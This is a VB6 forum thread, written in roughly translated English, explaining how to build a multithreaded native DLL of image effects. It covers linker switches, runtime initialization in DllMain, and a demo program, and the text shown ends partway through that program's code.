Results 1 to 33 of 33

Thread: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

  1. #1

    Thread Starter
    PowerPoster
    Join Date
    Feb 2015
    Posts
    2,759

    [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.


    Hello everyone! Today I will talk about yet another method of writing multithreaded programs on VB6, namely the creation of threads in the Native DLL. In principle, there is nothing complicated, passing the function "CreateThread" address exported function and it will be performed in another thread. All is good, but standard, documented features VB6 not create native DLL. But not all that bad, there are a few tricks you can use to create a native DLL, from the substitution of the linker and ending undocumented sections in vbp-file. Just last method we will use to create the DLL. First you need to decide what we all want from DLL, so you can use multithreading. The last time I did download the file, now I decided to pay attention to computing. Ie a new thread we will perform calculations, and the main thread will serve GUI. For the test I developed a DLL for working with graphics, or to be more precise in the DLL will be a function that converts bitmap - impose a variety of effects.
    Once upon a time, when I started programming, and studied on the basis of convolution filters, then I really did not like the "slowness" of these techniques. It is now possible to thrust calculation in another thread without blocking the main. I created 10 functions to be exported:
    1. Brightness
    2. Contrast
    3. Saturation
    4. GaussianBlur
    5. EdgeDetect
    6. Sharpen
    7. Emboss
    8. Minimum
    9. Maximum
    10. FishEye

    Code:
    ' modEffects.bas  - функции для обработки изображений
    ' © Кривоус Анатолий Анатольевич (The trick), 2014
     
    Option Explicit
     
    ' Передаем эту структуру в поток
    Private Type ThreadData
        pix()       As Byte     ' Двухмерный массив пикселей рисунка (w-1,h-1)
        value       As Single   ' Значение эффекта
        percent     As Single   ' Процент выполнения 0..1
    End Type
     
    ' // Функция изменения яркости
    Public Function Brightness(dat As ThreadData) As Long
        Dim col()   As Byte
        Dim x       As Long
        Dim y       As Long
        Dim tmp     As Long
        Dim value   As Single
        
        On Error GoTo ERRORLABEL
        
        value = dat.value
        If value < -1 Then value = -1
        If value > 1 Then value = 1
        
        ReDim col(255)
        
        For x = 0 To 255
            tmp = x + value * 255
            If tmp > 255 Then tmp = 255 Else If tmp < 0 Then tmp = 0
            col(x) = tmp
        Next
        
        For y = 0 To UBound(dat.pix, 2)
            For x = 0 To UBound(dat.pix, 1)
                dat.pix(x, y) = col(dat.pix(x, y))
            Next
            dat.percent = y / UBound(dat.pix, 2)
        Next
     
        dat.percent = 1
        Brightness = 1
        
    ERRORLABEL:
     
    End Function
     
    ' // Функция изменения контрастности
    Public Function Contrast(dat As ThreadData) As Long
        Dim col()   As Byte
        Dim x       As Long
        Dim y       As Long
        Dim tmp     As Long
        Dim value   As Single
        
        On Error GoTo ERRORLABEL
        
        value = dat.value
        If value < 0 Then value = 0
        If value > 100 Then value = 100
        
        ReDim col(255)
        
        For x = 0 To 255
            tmp = 128 + (value ^ 3) * (x - 128)
            If tmp > 255 Then tmp = 255 Else If tmp < 0 Then tmp = 0
            col(x) = tmp
        Next
        
        For y = 0 To UBound(dat.pix, 2)
            For x = 0 To UBound(dat.pix, 1)
                dat.pix(x, y) = col(dat.pix(x, y))
            Next
            dat.percent = y / UBound(dat.pix, 2)
        Next
     
        dat.percent = 1
        Contrast = 1
        
    ERRORLABEL:
     
    End Function
     
    ' // Функция изменения насыщенности
    Public Function Saturation(dat As ThreadData) As Long
        Dim x       As Long
        Dim y       As Long
        Dim w       As Long
        Dim h       As Long
        Dim tmp     As Long
        Dim r       As Long
        Dim g       As Long
        Dim b       As Long
        Dim br      As Long
        Dim value   As Single
        
        On Error GoTo ERRORLABEL
        
        value = dat.value
        If value > 1 Then value = 1
        If value < 0 Then value = 0
        
        w = UBound(dat.pix, 1) \ 4
        h = UBound(dat.pix, 2)
        
        For y = 0 To h
            For x = 0 To w
                b = dat.pix(x * 4, y)
                g = dat.pix(x * 4 + 1, y)
                r = dat.pix(x * 4 + 2, y)
                br = 0.3 * r + 0.59 * g + 0.11 * b
                r = r * value + br * (1 - value)
                g = g * value + br * (1 - value)
                b = b * value + br * (1 - value)
                dat.pix(x * 4, y) = b
                dat.pix(x * 4 + 1, y) = g
                dat.pix(x * 4 + 2, y) = r
            Next
            dat.percent = y / h
        Next
     
        dat.percent = 1
        Saturation = 1
        
    ERRORLABEL:
     
    End Function
     
    ' // Функция размытия по Гауссу
    Public Function GaussianBlur(dat As ThreadData) As Long
        Dim kernel()    As Single
        Dim size        As Long
        Dim half        As Long
        Dim weight      As Long
        Dim gx          As Single
        Dim tmp()       As Byte
        Dim x           As Long
        Dim y           As Long
        Dim w           As Long
        Dim h           As Long
        Dim index       As Long
        Dim acc         As Long
        Dim wFrom       As Long
        Dim wTo         As Long
        Dim norm()      As Single
        Dim lnorm       As Single
        Dim px          As Long
        Dim value       As Single
        
        On Error GoTo ERRORLABEL
        
        value = dat.value
        If value < 0 Then value = 0
        If value > 255 Then value = 255
        
        size = CLng(value) * 2
        half = -Int(-size / 2)
        ReDim kernel(size)
        
        kernel(half) = 1
        ReDim norm(half)
        lnorm = 1
        For weight = 1 To half
            gx = 3 * weight / half
            kernel(half - weight) = Exp(-gx * gx / 2)
            kernel(half + weight) = kernel(half - weight)
            lnorm = lnorm + kernel(half + weight) * 2
        Next
        
        For x = 0 To half
            norm(x) = lnorm
            lnorm = lnorm - kernel(x)
        Next
        
        w = UBound(dat.pix, 1) \ 4
        h = UBound(dat.pix, 2)
        ReDim tmp(w * 4, h)
     
        For y = 0 To h
            For x = 0 To w - 1
                If x < half Then wFrom = x Else wFrom = half
                If x > w - half Then wTo = w - x Else wTo = half
                
                For px = 0 To 3
                    acc = 0
                    For index = -wFrom To wTo
                        acc = acc + dat.pix((x + index) * 4 + px, y) * kernel(index + half)
                    Next
                    acc = acc / norm(half * 2 - (wTo + wFrom))
                    If acc > 255 Then acc = 255
                    tmp(x * 4 + px, y) = acc
                Next
            Next
            dat.percent = y / h / 2
        Next
        
        For x = 0 To w - 1
            For y = 0 To h
                If y < half Then wFrom = y Else wFrom = half
                If y > h - half Then wTo = h - y Else wTo = half
                For px = 0 To 4
                    acc = 0
                    For index = -wFrom To wTo
                        acc = acc + tmp(x * 4 + px, y + index) * kernel(index + half)
                    Next
                    acc = acc / norm(half * 2 - (wTo + wFrom))
                    If acc > 255 Then acc = 255
                    dat.pix(x * 4 + px, y) = acc
                Next
            Next
            dat.percent = x / w / 2 + 0.5
        Next
        
        dat.percent = 1
        GaussianBlur = 1
        
    ERRORLABEL:
        
    End Function
     
    ' // Минимум
    Public Function Minimum(dat As ThreadData) As Long
        Dim x       As Long
        Dim y       As Long
        Dim w       As Long
        Dim h       As Long
        Dim px      As Long
        Dim hlf     As Long
        Dim fx      As Long
        Dim fy      As Long
        Dim tx      As Long
        Dim ty      As Long
        Dim dx      As Long
        Dim dy      As Long
        Dim acc     As Byte
        Dim tmp()   As Byte
        Dim value   As Single
        
        On Error GoTo ERRORLABEL
        
        value = dat.value
        If value < 0 Then value = 0
        If value > 255 Then value = 255
        
        w = UBound(dat.pix, 1) \ 4
        h = UBound(dat.pix, 2)
        hlf = CLng(dat.value)
        tmp = dat.pix
        
        For y = 0 To h
        
            If y < hlf Then fy = y Else fy = hlf
            If y > h - hlf Then ty = h - y Else ty = hlf
            
            For x = 0 To w
            
                If x < hlf Then fx = x Else fx = hlf
                If x > w - hlf Then tx = w - x Else tx = hlf
                
                For px = 0 To 3
                    acc = 255
                    
                    For dx = -fx To tx: For dy = -fy To ty
                        If tmp((x + dx) * 4 + px, y + dy) < acc Then acc = tmp((x + dx) * 4 + px, y + dy)
                    Next: Next
                    
                    dat.pix(x * 4 + px, y) = acc
                    
                Next
                
            Next
            
            dat.percent = y / h
            
        Next
        
        dat.percent = 1
        Minimum = 1
        
    ERRORLABEL:
        
    End Function
     
    ' // Максимум
    Public Function Maximum(dat As ThreadData) As Long
        Dim x       As Long
        Dim y       As Long
        Dim w       As Long
        Dim h       As Long
        Dim px      As Long
        Dim hlf     As Long
        Dim fx      As Long
        Dim fy      As Long
        Dim tx      As Long
        Dim ty      As Long
        Dim dx      As Long
        Dim dy      As Long
        Dim acc     As Byte
        Dim tmp()   As Byte
        Dim value   As Single
        
        On Error GoTo ERRORLABEL
        
        value = dat.value
        If value < 0 Then value = 0
        If value > 255 Then value = 255
     
        w = UBound(dat.pix, 1) \ 4
        h = UBound(dat.pix, 2)
        hlf = CLng(dat.value)
        tmp = dat.pix
        
        For y = 0 To h
        
            If y < hlf Then fy = y Else fy = hlf
            If y > h - hlf Then ty = h - y Else ty = hlf
            
            For x = 0 To w
            
                If x < hlf Then fx = x Else fx = hlf
                If x > w - hlf Then tx = w - x Else tx = hlf
                
                For px = 0 To 3
                    acc = 0
                    
                    For dx = -fx To tx: For dy = -fy To ty
                        If tmp((x + dx) * 4 + px, y + dy) > acc Then acc = tmp((x + dx) * 4 + px, y + dy)
                    Next: Next
                    
                    dat.pix(x * 4 + px, y) = acc
                    
                Next
                
            Next
            
            dat.percent = y / h
            
        Next
        
        dat.percent = 1
        Maximum = 1
        
    ERRORLABEL:
        
    End Function
     
    ' // Тиснение
    Public Function Emboss(dat As ThreadData) As Long
        Dim kernel()    As Single
        Dim value       As Single
        
        value = dat.value
        ReDim kernel(2, 2)
        
        kernel(0, 0) = -value ^ 2:  kernel(1, 0) = -value:          kernel(2, 0) = 0
        kernel(0, 1) = -value:      kernel(1, 1) = 9:               kernel(2, 1) = value
        kernel(0, 2) = 0:           kernel(1, 2) = value:           kernel(2, 2) = value ^ 2
        
        Emboss = Convolution(dat, kernel)
    End Function
     
    ' // Выделение краев
    Public Function EdgeDetect(dat As ThreadData) As Long
        Dim kernel() As Single
        Dim value       As Single
        
        value = dat.value
        ReDim kernel(2, 2)
        
        kernel(0, 0) = 0:           kernel(1, 0) = -value:          kernel(2, 0) = 0
        kernel(0, 1) = -value:      kernel(1, 1) = value * 4:       kernel(2, 1) = -value
        kernel(0, 2) = 0:           kernel(1, 2) = -value:          kernel(2, 2) = 0
        
        EdgeDetect = Convolution(dat, kernel)
     
    End Function
     
    ' // Резкость
    Public Function Sharpen(dat As ThreadData) As Long
        Dim kernel()    As Single
        Dim value       As Single
        
        value = dat.value
        ReDim kernel(2, 2)
        
        kernel(0, 0) = 0:           kernel(1, 0) = -value:          kernel(2, 0) = 0
        kernel(0, 1) = -value:      kernel(1, 1) = value * 4 + 9:   kernel(2, 1) = -value
        kernel(0, 2) = 0:           kernel(1, 2) = -value:          kernel(2, 2) = 0
        
        Sharpen = Convolution(dat, kernel)
     
    End Function
     
    ' // Рыбий глаз
    Public Function FishEye(dat As ThreadData) As Long
        Dim x       As Long
        Dim y       As Long
        Dim cx      As Single
        Dim cy      As Single
        Dim nx      As Long
        Dim ny      As Long
        Dim r       As Single
        Dim tmp()   As Byte
        Dim w       As Long
        Dim h       As Long
        Dim value   As Single
        Dim px      As Long
        
        On Error GoTo ERRORLABEL
        
        w = UBound(dat.pix, 1) \ 4 + 1
        h = UBound(dat.pix, 2) + 1
        value = dat.value
        
        If value > 1 Then value = 1
        If value < 0 Then value = 0
        
        tmp = dat.pix
        
        For y = 0 To h - 1
            For x = 0 To w - 1
                cx = x / w - 0.5: cy = y / h - 0.5
                r = Sqr(cx * cx + cy * cy)
                nx = (cx + 0.5 + value * cx * ((r - 1) / 0.5)) * (w - 1)
                ny = (cy + 0.5 + value * cy * ((r - 1) / 0.5)) * (h - 1)
                For px = 0 To 3
                    dat.pix(x * 4 + px, y) = tmp(nx * 4 + px, ny)
                Next
            Next
            dat.percent = y / h
        Next
        
        dat.percent = 1
        FishEye = 1
        
    ERRORLABEL:
    End Function
     
    ' // Фильтрация с помощью свертки
    Private Function Convolution(dat As ThreadData, kernel() As Single) As Long
        Dim x       As Long
        Dim y       As Long
        Dim w       As Long
        Dim h       As Long
        Dim dx      As Long
        Dim dy      As Long
        Dim tmp()   As Byte
        Dim valFx   As Long
        Dim valFy   As Long
        Dim valTx   As Long
        Dim valTy   As Long
        Dim acc     As Long
        Dim px      As Long
        Dim hlfSize As Long
        
        On Error GoTo ERRORLABEL
        
        w = UBound(dat.pix, 1)
        h = UBound(dat.pix, 2)
        hlfSize = UBound(kernel) \ 2
        
        tmp = dat.pix
        
        For y = 0 To h
            If y < hlfSize Then valFy = y Else valFy = hlfSize
            If y > h - hlfSize Then valTy = h - y Else valTy = hlfSize
            For x = 0 To w
                px = x \ 4
                If px < hlfSize Then valFx = px Else valFx = hlfSize
                If px > w \ 4 - hlfSize Then valTx = w \ 4 - px Else valTx = hlfSize
                acc = 0
                For dy = -valFy To valTy
                    For dx = -valFx To valTx
                        acc = acc + tmp(x + dx * 4, y + dy) * kernel(dx + hlfSize, dy + hlfSize)
                    Next
                Next
                acc = acc \ ((valFx + valTx + 1) * (valFy + valTy + 1))
                If acc > 255 Then acc = 255 Else If acc < 0 Then acc = 0
                dat.pix(x, y) = acc
            Next
            dat.percent = y / h
        Next
        
        Convolution = 1
        dat.percent = 1
    ERRORLABEL:
        
    End Function '

  2. #2

    Thread Starter
    PowerPoster
    Join Date
    Feb 2015
    Posts
    2,759

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    All functions have the same prototype in order to be able to be called from a separate thread, take ThreadData structure as an argument. I will describe in more detail the field:
    • pix () - dimensional array of pixels such as Byte, the first dimension sets RGBQUAD field horizontally, the other vertically. Ie pix (0,0) contains the blue component of the 0x0 pixel, pix (1,0) - the green component table 0x0 pixel, pix (2,0) - the red component, pix (4,0) - the blue component of the 1x0 pixel, etc. As can be seen on the pixel array is input in the format of 32 bits per pixel. It follows that the first dimension is 4 times more than the width of the image, and the second - correspond to the height.
    • value - value of the effect. For example GaussianBlur for this parameter is responsible for the effect of blur, and the "fish-eye" for the amount of distortion. For each effect their ranges of value.
    • percent - this is a return parameter. It contains a value representing the percentage of the function and from it we are in the main thread will update the progress bar. The range is from 0 to 1.
    Also, in addition to the main exported functions, we have found an auxiliary non-exportable function Convolution, which calculates the convolution. On the basis of the convolution in my implementation work effects embossing, edge detection and sharpness. In this description of the module is complete, now go directly to the creation of DLL. So, as I said, we will create a DLL using undocumented key compilation. With this understood, will now have to make a choice - to choose what type of project. Looking ahead to say that it is better to choose ActiveX Dll, because from it is easy to get some information that we will need in the future. Although you can use and Standart EXE, no particular difference. If you read about the keys compilation, the author of the topic wrote:
    no runtime initialization is not
    , so we are going to initialize the runtime. About the limitations of uninitialized runtime I wrote a little in the previous post. Initialize itself is not needed, if for example use this DLL in VB6, because runtime (or rather stream) is already initialized. So for ordinary functions called in the same thread from VB6 this DLL will perform its tasks by 100%. That is why the network can meet a lot of debated topics that native DLL, created in VB6 not work in other languages. The whole point is initialized.
    How do we initialize the thread to complete the work of our DLL? Firstly, we need to define their points of entry DllMain. How to do it? To do this, there is a key ENTRY linker. Inscribe the name of our function and our DLL starts with her. The prototype of this function should be as follows:
    Code:
    Public Function DllMain(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
    End Function
    In hInstDLL - transferred to the base address of the module is loaded (it hInstance, hModule), in fdwReason transmitted value indicating the reason for calling this function. There are 4 cases of this function is called when the DLL is loaded into the address space of a process (DLL_PROCESS_ATTACH), when you create a new thread in the process (DLL_THREAD_ATTACH) and respectively two paired opposite case with the correct end of the filament (DLL_THREAD_DETACH) and unload the DLL from memory (DLL_PROCESS_DETACH), also correct. lpReserved - not important for us.
    Now when loading DLL will be called by our function and we can do the initialization. With this clear. Now imagine the situation that the DLL is loaded into the address space of a process, but a process creates a thread, and both feature called Foo, what will happen? What will be important variable Temp after the threads?
    Code:
    ' DLL code
    Dim Temp As Long
     
    Public Sub foo()
        Temp = App.ThreadID
    End Sub
    It all depends on what kind of a last will write a value to a variable Temp, and it is impossible to know for sure. There was a problem - a module-level variables become shared, they are accessible to all threads in the process for modification, and it can generate a lot of errors (race condition, interlocks, etc.). Fortunately there is a way out of this situation - the use of thread local storage (TLS) to store thread-specific data. You can do it manually via the special functions (TlsAlloc, TlsFree, TlsSetValue, TlsGetValue), or to entrust this task to the compiler that is more convenient. To do this, there is an option Threading model in the project properties. If there stands Single Threaded, then all variables will be shared, and if Apartment Threaded - each thread gets its own copy of the variables. With this clear. In this module, there is no common variables so we choose the Single Threaded.
    Now, regarding the runtime initialization. Method for creating a runtime initialization Native DLL, which will be described hereinafter, has been demonstrated for the first time and described in the draft FireNativeDLL. Given that the ActiveX DLL work in multi-threaded programs (you can easily work with a DLL example in Delphi or C ++), it means that you can initialize the stream having gone by creating an object. After viewing the inside of ActiveX DLL, it was revealed that the entry point is UserDllMain of runtime, passing the first two parameters of the two pointers:

    So, to start initialization need to call from our entry point UserDllMain from VB6, but you need to get 2 parameters. While we will not do this, because one call UserDllMain enough, otherwise you would not bother and leave as it is, it is called by default. Initialization flow is performed when an object of the ActiveX DLL. In order to create the object you want to call DllGetClassObject function from the DLL. Let's see how this feature looks inside, and along with other exported functions:

    Function "DllGetClassObject" sends the data to the function "VBDllGetClassObject" of additional runtime passing the first three pointer parameters. It can be seen that the 2 pointer passed to the "UserDllMain" the first two parameters are equivalent to the first two signs transmitted in "VBDllGetClassObject", and the third parameter corresponds to the structure "VBHeader" which describes the project. In my version of the runtime first parameter (lphInst) is a pointer to that "UserDllMain" writes "hInstance" library, the second (lpUnk) parameter is not used any function. Perhaps in some other versions of these runtime parameters to be used in a different way, so you should provide the appropriate values.
    Now you need to get the addresses of the data. To do this, analyzing opcodes, get them to the example of "DllGetClassObject":
    • Address "VBHeader" will be equal to at function "DllGetClassObject + 2" (skip opcode POP EAX, and PUSH)
    • Address "lpUnk" will be equal to at function "DllGetClassObject + 7"
    • Address "lphInstance" will be equal to at function "DllGetClassObject + 12"
    Last edited by The trick; Feb 12th, 2015 at 02:59 PM.

  3. #3

    Thread Starter
    PowerPoster
    Join Date
    Feb 2015
    Posts
    2,759

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Get the address of "UserDllMain" is very simple, because we know the handle of the library (it is passed as the first parameter); call "GetProcAddress" and get the address "DllGetClassObject". Next, we obtain the values through "GetMem4". I want to note that all API functions must be declared in a type library for this I compiled "DllInitialize.tlb", after compiling it does not need. To call "VBDllGetClassObject" use as "IID - IUnknown", as "CLSID - IID_NULL". Also, for initialization "COM" function must be called "CoInitialize". If we now try to collect a DLL, it will work, but keep in mind that the first call "VBDllGetClassObject" all unit variables are initialized to default values. Therefore it is necessary to call derived variables stored in local variables, and then it is already possible to maintain a modular. You also need to consider the threading model of the project: to "Apartment", as a function of "DllMain" should not be appeals to modular variables. For both models, I created two modules:
    For single threaded:
    Code:
    ' modMainDLL.bas  - инициализация DLL (Single thread)
    ' © Кривоус Анатолий Анатольевич (The trick), 2014
    
    Option Explicit
    
    Private Type uuid
        data1       As Long
        data2       As Integer
        data3       As Integer
        data4(7)    As Byte
    End Type
    
    Public hInstance    As Long
    
    Private lpInst_     As Long
    Private lpUnk_      As Long
    Private lpVBHdr_    As Long
    
    ' Точка входа
    Public Function DllMain(ByVal hInstDll As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
        Dim lpProc      As Long
        Dim lpInst      As Long
        Dim lpUnk       As Long
        Dim lpVBHdr     As Long
        
        ' При создании процесса инициализируем адреса нужных переменных
        If fdwReason = DLL_PROCESS_ATTACH Then
            ' Получаем нужные нам данные, VBHeader, и два указателя необходимых для инициализации
            lpProc = GetProcAddress(hInstDll, "DllGetClassObject")
            If lpProc = 0 Then Exit Function
            GetMem4 ByVal lpProc + 2, lpVBHdr
            GetMem4 ByVal lpProc + 7, lpUnk
            GetMem4 ByVal lpProc + 12, lpInst
            DllMain = InitRuntime(lpInst, lpUnk, lpVBHdr, hInstDll, fdwReason, lpvReserved)
            lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDll
        ElseIf fdwReason = DLL_THREAD_ATTACH Then
            DllMain = InitRuntime(lpInst_, lpUnk_, lpVBHdr_, hInstDll, fdwReason, lpvReserved)
        Else
            vbCoUninitialize
            DllMain = UserDllMain(lpInst_, lpUnk_, hInstDll, fdwReason, ByVal lpvReserved)
        End If
        
    End Function
    
    Private Function InitRuntime(ByVal lpInst As Long, ByVal lpUnk As Long, ByVal lpVBHdr As Long, ByVal hInstDll As Long, _
                                 ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
        Dim iid     As uuid
        Dim clsid   As uuid
        
        InitRuntime = UserDllMain(lpInst, lpUnk, hInstDll, fdwReason, ByVal lpvReserved)
        If InitRuntime Then
            vbCoInitialize ByVal 0&
            iid.data4(0) = &HC0: iid.data4(7) = &H46                    ' IUnknown
            VBDllGetClassObject lpInst, lpUnk, lpVBHdr, clsid, iid, 0   ' Инициализация потока
        End If
    End Function
    For apartment threaded:
    Code:
    ' modMainDLL.bas  - инициализация DLL (Apartment threaded)
    ' © Кривоус Анатолий Анатольевич (The trick), 2014
    
    Option Explicit
    
    Private Type uuid
        data1       As Long
        data2       As Integer
        data3       As Integer
        data4(7)    As Byte
    End Type
    
    Public hInstance    As Long
    
    Private lpInst_     As Long
    Private lpUnk_      As Long
    Private lpVBHdr_    As Long
    
    ' Точка входа, здесь не должно быть обращения к внешним переменным, т.е. public, private, static
    Public Function DllMain(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
        Dim iid         As uuid
        Dim clsid       As uuid
        Dim lpInst     As Long
        Dim lpUnk      As Long
        Dim lpVBHdr    As Long
        Dim lpProc  As Long
        
        ' При создании процесса или потока
        If fdwReason = DLL_PROCESS_ATTACH Or fdwReason = DLL_THREAD_ATTACH Then
            ' Получаем нужные нам данные, VBHeader, и два указателя необходимых для инициализаци
            ' Каждый поток содержит свои данные (публичные, статичные переменные и т.д.)
            lpProc = GetProcAddress(hInstDLL, "DllGetClassObject")
            If lpProc = 0 Then Exit Function
            GetMem4 ByVal lpProc + 2, lpVBHdr
            GetMem4 ByVal lpProc + 7, lpUnk
            GetMem4 ByVal lpProc + 12, lpInst
            ' Инициализация COM
            vbCoInitialize ByVal 0&
            ' Эта функция вызывается из ActiveX DLL
            DllMain = UserDllMain(lpInst, lpUnk, hInstDLL, fdwReason, ByVal lpvReserved)
            If DllMain = 0 Then Exit Function
            iid.data4(0) = &HC0: iid.data4(7) = &H46                            ' IUnknown
            VBDllGetClassObject lpInst, lpUnk, lpVBHdr, clsid, iid, 0           ' Инициализация потока
            ' Тут глобальные и статичные переменные обнуляются, восстанавливаем их
            SetPublicVariable lpInst, lpUnk, lpVBHdr, hInstDLL
        Else
            vbCoUninitialize
            DllMain = DefMainDLL(hInstDLL, fdwReason, ByVal lpvReserved)
        End If
    
    End Function
    
    Private Sub SetPublicVariable(ByVal lpInst As Long, ByVal lpUnk As Long, ByVal lpVBHdr As Long, ByVal hInstDLL As Long)
        lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDLL
    End Sub
    Private Function DefMainDLL(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
        DefMainDLL = UserDllMain(lpInst_, lpUnk_, hInstDLL, fdwReason, ByVal lpvReserved)
    End Function
    So now we know how to initialize the runtime and can begin to compile a native DLL. In the project file add these lines for specifying additional compiler and linker keys:
    Code:
    [VBCompiler]
    LinkSwitches= /ENTRY:DllMain /EXPORT:Brightness /EXPORT:Contrast /EXPORT:Saturation /EXPORT:GaussianBlur /EXPORT:EdgeDetect /EXPORT:Sharpen /EXPORT:Emboss /EXPORT:Minimum /EXPORT:Maximum /EXPORT:FishEye
    And adjusts the threading model of the project in single threaded, also need to add a class to the project, otherwise the project will not compile. Optionally, you can also add functionality ActiveX DLL, then you can work with this DLL and how ActiveX, and as with the conventional native importing function.
    Last edited by The trick; Feb 12th, 2015 at 03:20 PM.

  4. #4

    Thread Starter
    PowerPoster
    Join Date
    Feb 2015
    Posts
    2,759

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    To test the DLL was written mini-program:
    Code:
    ' Демонстрация использования многопоточности в NativeDLL на примере графических эффектов
    ' © Кривоус Анатолий Анатольевич (The trick), 2014
    
    Option Explicit
    
    ' Структура, идентичная объявленной в DLL
    Private Type ThreadData
        pix()       As Byte
        value       As Single
        percent     As Single
    End Type
    
    Private Type BITMAPINFOHEADER
        biSize          As Long
        biWidth         As Long
        biHeight        As Long
        biPlanes        As Integer
        biBitCount      As Integer
        biCompression   As Long
        biSizeImage     As Long
        biXPelsPerMeter As Long
        biYPelsPerMeter As Long
        biClrUsed       As Long
        biClrImportant  As Long
    End Type
    
    Private Type BITMAPINFO
        bmiHeader       As BITMAPINFOHEADER
        bmiColors       As Long
    End Type
    
    Private Type OPENFILENAME
        lStructSize         As Long
        hwndOwner           As Long
        hInstance           As Long
        lpstrFilter         As Long
        lpstrCustomFilter   As Long
        nMaxCustFilter      As Long
        nFilterIndex        As Long
        lpstrFile           As Long
        nMaxFile            As Long
        lpstrFileTitle      As Long
        nMaxFileTitle       As Long
        lpstrInitialDir     As Long
        lpstrTitle          As Long
        Flags               As Long
        nFileOffset         As Integer
        nFileExtension      As Integer
        lpstrDefExt         As Long
        lCustData           As Long
        lpfnHook            As Long
        lpTemplateName      As Long
    End Type
    
    Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameW" (pOpenfilename As OPENFILENAME) As Long
    Private Declare Function GetDIBits Lib "gdi32" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long
    Private Declare Function SetDIBitsToDevice Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal dx As Long, ByVal dy As Long, ByVal SrcX As Long, ByVal SrcY As Long, ByVal Scan As Long, ByVal NumScans As Long, Bits As Any, BitsInfo As BITMAPINFO, ByVal wUsage As Long) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    Private Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
    Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As Long) As Long
    Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
    Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
    Private Declare Function GetExitCodeThread Lib "kernel32" (ByVal hThread As Long, lpExitCode As Long) As Long
    
    Private Const STILL_ACTIVE  As Long = &H103&
    Private Const INFINITE      As Long = -1&
    
    Dim hLib    As Long         ' hInstance библиотеки
    Dim td      As ThreadData   ' Данные потока
    Dim hThread As Long         ' Описатель потока
    Dim pic     As StdPicture   ' Изображение
    Dim bi      As BITMAPINFO   ' Информация об изображении
    Dim quene   As Boolean      ' Флаг очереди
    
    ' // Нажатие на кнопку загрузки рисунка
    Private Sub cmdLoad_Click()
        ' Загружаем
        LoadImage
    End Sub
    
    ' // Загрузка формы
    Private Sub Form_Load()
        ' Загружаем DLL
        ChDir App.Path: ChDrive App.Path
        hLib = LoadLibrary(StrPtr("..\GraphicsDLL\GraphicsDLL.dll"))
        If hLib = 0 Then MsgBox "Неудалось загрузить DLL": End
        ' Загружаем картинку по умолчанию
        LoadImage "defpic.jpg"
    End Sub
    
    ' // Выгрузка формы
    Private Sub Form_Unload(cancel As Integer)
        ' Если поток выполняется ждем завершения
        If hThread Then WaitForSingleObject hThread, INFINITE
        ' Выгружаем библиотеку
        FreeLibrary hLib
    End Sub
    
    ' // Запускаем эффект
    Private Sub RunEffect()
        
        Select Case cboEffect.ListIndex
        Case 0: picImage.PaintPicture pic, 0, 0                 ' Исходное изображение
        Case 1: RunProcedure "Brightness", sldValue / 50 - 1    ' Яркость
        Case 2: RunProcedure "Contrast", sldValue / 50          ' Контрастность
        Case 3: RunProcedure "Saturation", sldValue / 100       ' Насыщенность
        Case 4: RunProcedure "GaussianBlur", sldValue / 2       ' Размытие
        Case 5: RunProcedure "EdgeDetect", sldValue / 2 + 1     ' Выделение контуров
        Case 6: RunProcedure "Sharpen", sldValue / 3            ' Резкость
        Case 7: RunProcedure "Emboss", sldValue / 10            ' Тиснение
        Case 8: RunProcedure "Minimum", sldValue / 10           ' Минимум
        Case 9: RunProcedure "Maximum", sldValue / 10           ' Максимум
        Case 10: RunProcedure "FishEye", sldValue / 100         ' Рыбий глаз
        End Select
        
    End Sub
    
    ' // Загрузить картинку
    Private Sub LoadImage(Optional ByVal fileName As String)
        Dim ofn     As OPENFILENAME
        Dim title   As String
        Dim out     As String
        Dim filter  As String
        Dim i       As Long
        Dim dx      As Long
        Dim dy      As Long
        ' Если поток выполняется ждем завершения
        If hThread Then WaitForSingleObject hThread, INFINITE
        ' Если имя файла не задано, то показываем диалог открытия файла
        If Len(fileName) = 0 Then
            ofn.nMaxFile = 260
            out = String(260, vbNullChar)
            title = "Open image"
            filter = "Picture file" & vbNullChar & "*.bmp;*.jpg" & vbNullChar
            ofn.hwndOwner = Me.hWnd
            ofn.lpstrTitle = StrPtr(title)
            ofn.lpstrFile = StrPtr(out)
            ofn.lStructSize = Len(ofn)
            ofn.lpstrFilter = StrPtr(filter)
            If GetOpenFileName(ofn) = 0 Then Exit Sub
            ' Получаем имя файла
            i = InStr(1, out, vbNullChar, vbBinaryCompare)
            fileName = Left$(out, i - 1)
        End If
        
        On Error Resume Next
        ' Загружаем картинку
        Set pic = LoadPicture(fileName)
        If Err.Number Then MsgBox "Ошибка загрузки изображения", vbCritical: Exit Sub
        On Error GoTo 0
        
        ' Установка постоянных атрибутов картинки
